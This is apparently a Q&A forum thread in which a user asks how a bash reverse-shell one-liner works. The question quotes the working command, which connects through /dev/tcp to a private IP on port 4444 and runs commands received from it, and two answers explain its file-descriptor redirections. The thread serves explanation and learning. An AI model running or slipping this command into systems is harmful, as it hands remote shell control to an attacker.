4

I am doing some security research and I was wondering how the following snippet works on Unix based OS's:

exec 5<>/dev/tcp/192.168.159.150/4444; cat <&5 | while read line; do \$line 2>&5 >&5; echo -n \$(pwd)'# ' >&5; done

I am totally aware of what this code does (ie establish a reverse shell to 192.168.159.150 over port 4444) but I don't understand what these sections are doing:

  • exec 5<>
  • cat <&5
  • 2>&5 >&5

And just in general how this how thing fits together to produce the shell that I see.

Could anyone help explain this or point me in the right direction to understanding this?

Thanks

1

2 Answers 2

5

A quick rundown:

exec 5<> is opening a new file handle for both reading and writing and then naming it 5

cat <&5 is reading from that newly opened file handle

2>&5 >&5 is redirecting the output of both file handle 2 (stderr) and file handle 1 (stdout) to file handle 5. The 1 in this case is implied since a file handle number wasn't provided on the second redirection.

3

Some parts of your question are answered here

But

  1. This define new filedescriptor with number 5. BTW 0 is STDIN, 1 is STDOUT, 2 is STDERR filedescriptors
  2. Echo the information, which is received via TCP, IP 192.168.159.150, port 4444
  3. Send STDERR and STDOUT to filehandler 5 i.e network

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .